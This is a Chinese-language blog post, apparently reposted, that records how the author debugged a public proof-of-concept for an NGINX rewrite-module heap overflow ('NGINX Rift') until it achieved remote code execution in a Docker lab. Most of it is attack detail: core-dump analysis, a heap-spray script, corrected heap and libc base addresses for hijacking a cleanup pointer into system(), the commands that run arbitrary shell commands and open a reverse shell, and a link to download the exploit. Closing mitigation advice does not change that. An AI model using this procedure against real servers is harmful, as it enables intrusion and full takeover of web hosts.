NginxRift(CVE-2026-42945)PoC调试与复现笔记

admin 2026-07-25 04:50:52 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了CVE-2026-42945NginxRift漏洞的PoC调试与复现过程。该漏洞是ngxhttprewritemodule中的堆缓冲区溢出,影响Nginx0.6.27至1.30.0版本。作者从PoC运行失败开始,通过分析coredump发现HEAPBASE和LIBCBASE计算错误,导致cleanup指针被HTTP头覆盖且system()调用指向strfmonl。修正地址后成功实现RCE,可执行任意命令或获取反向shell。关键教训是必须精确计算堆基址和libc基址。 综合评分: 91 文章分类: 漏洞分析,实战经验,二进制安全


cover_image

Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记

原创

MicroPest MicroPest

MicroPest

2026年7月4日 20:35 安徽

在小说阅读器读本章

去阅读

CVE-2026-42945(代号 “NGINX Rift”)是一个存在于 NGINX ngx_http_rewrite_module 中的堆缓冲区溢出漏洞,CVSS v4 评分 9.2(Critical)。该漏洞由 depthfirst 安全研究团队于 2026 年 4 月发现,自 2008 年引入 NGINX 0.6.27 版本以来已潜伏 18 年

github地址:https://github.com/DepthFirstDisclosures/Nginx-Rift,

这是一篇记录从 PoC 运行失败(如下图原因所示)到完整 RCE 打通的全过程的详细文章,全网都没有(至少目前我没有找到),难度极高,在AI的帮助下完成。

一、项目背景

CVE-2026-42945 是 NGINX ngx_http_rewrite_module 中的一个堆缓冲区溢出漏洞,影响 NGINX Open Source 0.6.27 至 1.30.0,存活约 18 年。该 PoC(Nginx-Rift)利用 rewrite 与 set 指令组合触发堆溢出,通过覆盖 ngx_pool_t 的 cleanup 指针劫持控制流,最终调用 system() 实现远程代码执行(RCE)。

项目仓库:Nginx-Rift-main – poc.py:主利用脚本 – env/:Docker 测试环境 – setup.sh:构建脚本

二、测试环境

容器启动命令: bash docker compose -f env/docker-compose.yml up

三、初始状态:PoC 运行异常

3.1 现象

执行 PoC 后,脚本报告 “crashed” 并退出:

python3 poc.py –cmd ‘echo hello from depthfirst > /tmp/pwned’

输出:

[+] try 1/10 crashed — system(“echo hello from depthfirst > /tmp/pwned”) executed

[+] Done.

但验证文件时失败:

docker exec cat /tmp/pwned

cat: /tmp/pwned: No such file or directory

说明:没有成功。

3.2 初步误判

最初误以为 try 1/10 crashed 表示 RCE 成功。后续通过 ps 和 error.log 确认: – nginx worker 确实发生了 SIGSEGV 崩溃 – 但 system() 并未正确执行命令 – 崩溃发生在 ngx_destroy_pool 的 c->handler(c->data) 调用路径。

四、调试过程

4.1 分析 core dump 定位崩溃点

从 /app/tmp/core.* 分析崩溃位置:gdb /nginx-src/build/nginx /app/tmp/core.69 -batch -ex “bt” -ex “info registers” -ex “quit”

关键发现: – 崩溃在 ngx_destroy_pool 的 c->handler(c->data) – pool = 0x55555576dc00 – rdi = 0x2d746e65746e6f43(即 “Content-” 字符串) – 说明 pool->cleanup 指针被覆盖成了 HTTP header 数据地址,而非 spray body 中的 fake struct

4.2 发现 HEAP_BASE 错误

查看 /proc//maps:

555555554000-555555576000 r–p 00000000  /nginx-src/build/nginx

555555576000-55555562c000 r-xp 00022000  /nginx-src/build/nginx

55555562c000-555555656000 r–p 000d8000  /nginx-src/build/nginx

555555657000-555555659000 r–p 00102000  /nginx-src/build/nginx

555555659000-55555566f000 rw-p 00104000  /nginx-src/build/nginx   ← .data/.bss

55555566f000-555555691000 rw-p 00000000

555555691000-5555556f6000 rw-p 00000000  [heap]

5555556f6000-555555717000 rw-p 00000000  [heap]

关键发现:PoC 中 HEAP_BASE = 0x555555659000 实际上是 nginx 的 .data/.bss 段,而非堆基址。真正的堆基址是 0x555555691000。

实际 pool 地址 0x55555576dc00 相对 .data/.bss 基址的偏移为 0x114C00,而原 PoC 的 PREREAD_HEAP_OFFSETS 最大只到 0x10d467,完全没有覆盖到实际的 spray body 位置。

4.3 定位 spray body 地址

通过保持 spray 连接并搜索内存,最终找到 spray body 中的命令字符串:

发送 spray 并保持连接

python3 -c “

import socket, time

s = socket.create_connection((‘127.0.0.1’, 19321), timeout=5)

body = b’B’ * 4000

req = b’POST /spray HTTP/1.1\r\nHost: l\r\nContent-Length: 4000\r\nX-Delay: 60\r\nConnection: close\r\n\r\n’ + body

s.sendall(req)

time.sleep(60)

在容器内搜索命令字符串

gdb -p -batch -ex “find /b 0x555555659000, 0x7ffff7778000, 0x74, 0x6f, 0x75, 0x63, 0x68” -ex “quit”

输出示例: 0x5555556b347f 0x5555556b9ebf 0x55555571219f …

通过 addr_is_safe 过滤,确定可用的 fake struct 地址: – 命令字符串在 0x5555556b347f – fake struct 在其前 24 字节:0x5555556b347f – 24 = 0x5555556b3467 – 地址字节 55 55 55 6b 34 67 全部通过 URI 安全过滤 ✅

验证 fake struct 内容:

gdb -p -batch -ex “x/10gx 0x5555556b3467” -ex “x/s 0x5555556b347f” -ex “quit”

输出: 0x5555556b3467: 0x00007ffff780ad70 0x0000555555772148 0x5555556b3477: 0x0000000000000000 0x742f206863756f74 0x5555556b347f: “touch /tmp/rift_pwned”

4.4 发现 SYSTEM_ADDR 错误

修改 HEAP_BASE 和 PREREAD_HEAP_OFFSETS 后,RCE 仍然失败。分析新的 core dump:

0  0x00007ffff780ad73 in ___strfmon_l (s=0x5555556b347f “touch /tmp/rift_pwned”, …)

关键发现:PoC 调用的不是 system(),而是 ___strfmon_l!

原因:LIBC_BASE = 0x7ffff77ba000 取值错误,导致 SYSTEM_ADDR = LIBC_BASE + 0x50d70 = 0x7ffff780ad70 指向了 strfmon_l 区域,而非真正的 system()。

通过段映射计算真实 system() 地址:

libc .text 加载地址 = 0x7ffff77e0000

.text 文件偏移     = 0x28000

system() 文件偏移  = 0x50d70

真实 system() = 0x7ffff77e0000 + (0x50d70 – 0x28000)

              = 0x7ffff77e0000 + 0x28d70

              = 0x7ffff7808d70

因此应将 LIBC_BASE 改为 libc 文件起始映射地址 0x7ffff77b8000:

SYSTEM_ADDR = 0x7ffff77b8000 + 0x50d70 = 0x7ffff7808d70

五、最终修复方案

修改 poc.py 中的以下三处:

5.1 修改 HEAP_BASE 和 PREREAD_HEAP_OFFSETS

HEAP_BASE = 0x5555556b3467

PREREAD_HEAP_OFFSETS = [

    0x000000,

]

5.2 修改 LIBC_BASE

LIBC_BASE = 0x7ffff77b8000

SYSTEM_ADDR = LIBC_BASE + 0x50d70

六、验证结果

1、重新运行 PoC:

python3 poc.py –cmd ‘touch /tmp/rift_pwned’

输出: [*] Waiting for nginx on 127.0.0.1:19321… [+] Connected. [+] try 1/10 crashed — system(“touch /tmp/rift_pwned”) executed [+] Done.

2、验证文件:

docker exec ls -la /tmp/rift_pwned

-rw-r–r– 1 nobody nogroup 0 Jul  4 11:18 /tmp/rift_pwned

文件由 nobody 用户创建,证明 nginx worker 进程成功执行了任意命令,RCE 完全打通。

3、获取反向 Shell:

攻击端

python3 poc.py –shell –listen-ip 172.17.0.1 –listen-port 1337

执行任意命令:

python3 poc.py –cmd ‘whoami > /tmp/pwned && id >> /tmp/pwned’

docker exec b64932700bbf cat /tmp/pwned

如上图,拿到了shell。

#

七、关键问题总结

🛠️ Nginx RCE 漏洞利用调试全流程记录

**核心目标**:利用 Nginx 内存损坏漏洞,成功执行 system() 创建文件 /tmp/rift\_pwned

📦 阶段一:环境搭建与初始验证

**1. 启动 Docker 测试环境**

docker compose -f env/docker-compose.yml up

**2. 运行初始 PoC 攻击脚本**

python3 poc.py –cmd ‘touch /tmp/x’

**3. 观察运行结果**

| 预期现象 | 实际现象 | 状态 |

| :— | :— | :—: |

| 在容器内生成 /tmp/x 文件 | PoC 虽报 "crashed — system() executed",但文件不存在 | ❌ **失败** |

**初步诊断**:目标函数虽被触发,但参数传递或内存布局存在偏差,需深入调试。

🔬 阶段二:Core Dump 深度分析(定位内存布局问题)

**4. GDB 分析 Core Dump 崩溃点**

gdb /nginx-src/build/nginx /app/tmp/core.*

  • **崩溃位置**:ngx\_destroy\_pool 内的 c->handler()

  • **关键线索**:寄存器 rdi 指向字符串 "Content-",表明 **cleanup 指针被意外覆盖为 HTTP 头地址**。

**5. 诊断堆(Heap)基址严重偏差**

  • 检查进程内存映射:

  cat /proc//maps

  • **发现矛盾**:

  – 原脚本使用的 HEAP\_BASE=0x555555659000 实际指向 .data/.bss

  – 真正的堆区起始在 0x555555691000

  – Nginx pool 结构体位于 0x55555576dc00,导致原偏移列表完全失效

**6. 定位 Spray 攻击载荷(Body)**

  • 保持 Spray 长连接,利用 GDB 搜索 "touch" 字符串:

  • **搜寻结果**:

  – 实际命令字符串(cmd)地址:0x5555556b347f

  – 伪造结构体(fake\_struct)地址:0x5555556b3467

  • ✅ 验证该地址可通过 addr\_is\_safe 检查

⚙️ 阶段三:修正地址与偏移配置(初版修复尝试)

**7. 更新 HEAP_BASE 与偏移列表**

根据 Spray 内存布局,修改利用脚本参数:

HEAP_BASE = 0x5555556b3467   # 对准 fake_struct

PREREAD_HEAP_OFFSETS = [0]   # 精简偏移扫描

**8. 二次运行——结果依然失败**

  • 新生成的 Core Dump 显示崩溃函数变为 \_\_\_strfmon\_l

  • ❌ **结论**:调用地址仍然错误,实际跳转目标并非 system(),而是 Libc 中的其他函数

🧮 阶段四:根治 Libc 基址计算错误

**9. 诊断 Libc 基址偏移**

  • 提取 system() 在 Libc 文件中的偏移量:

  readelf -s libc.so.6 | grep system

  • 计算得出:system() 文件偏移 = **0x50d70**

  • **错误分析**:原 PoC 中的 LIBC\_BASE 取值导致计算结果偏移了 0x2000 字节:

  – 错误计算:0x7ffff780ad70 → 实际落点到了 strfmon\_l

  – 正确地址应为:0x7ffff7808d70

**10. 修正 LIBC_BASE 变量**

将运行时的 Libc 基址修正为实际加载地址:

LIBC_BASE = 0x7ffff77b8000

SYSTEM_ADDR = LIBC_BASE + 0x50d70  # 结果为 0x7ffff7808d70

🏆 阶段五:最终验证(RCE 成功)

**11. 执行最终攻击并验证**

  • 重新运行修正后的 PoC:

  python3 poc.py –cmd ‘touch /tmp/rift_pwned’

  • 进入容器检查命令执行结果:

  docker exec ls -la /tmp/rift_pwned

| 检查项 | 结果 |

| :— | :—: |

| 文件 /tmp/rift\_pwned 是否存在 | ✅ **是** |

| 文件属主 | nobody(Nginx 工作进程权限) |

| 最终状态 | 🎉 **远程代码执行(RCE)成功** |

📌 核心经验总结

  1. **基址动态性**:堆基址(Heap Base)与 Libc 基址在不同环境、甚至不同运行次数下可能变化,不可硬编码。

  2. **验证优于假设**:务必通过 /proc/<pid>/maps 或 GDB 动态获取准确内存地址。

  3. **偏移精确性**:system() 在 Libc 中的偏移需通过 readelf 精确提取,误差 0x2000 字节即可导致跳转到完全无关的函数(如 strfmon\_l)。

八、安全建议

升级 NGINX:立即升级至 1.31.0+ / 1.30.1+

配置审计:避免 rewrite 替换字符串含 ? 且同时使用 set 指令

开启 ASLR:生产环境严禁禁用地址随机化

WAF 防护:部署规则检测 URI 中超长连续 + 序列

九、附录:调试命令速查

查看容器内 nginx worker PID

ps aux | grep “nginx: worker”

查看进程内存映射

cat /proc//maps

分析 core dump

gdb /nginx-src/build/nginx /app/tmp/core. -batch -ex “bt” -ex “quit”

搜索内存中的命令字符串(需保持 spray 连接)

gdb -p -batch -ex “find /b 0x555555659000, 0x7ffff7778000, 0x74, 0x6f, 0x75, 0x63, 0x68” -ex “quit”

查看 fake struct 内容

gdb -p -batch -ex “x/10gx 0x5555556b3467” -ex “x/s 0x5555556b347f” -ex “quit”

确认 system() 真实地址

readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 | grep ” system@”

通过网盘分享的文件:485-Nginx-Rift-main.rar

链接: https://pan.baidu.com/s/1vWFJEOzb4RuyEdfplbOeMg?pwd=kfen 提取码: kfen


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:MicroPest MicroPest MicroPest《Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记》

    评论:0   参与:  0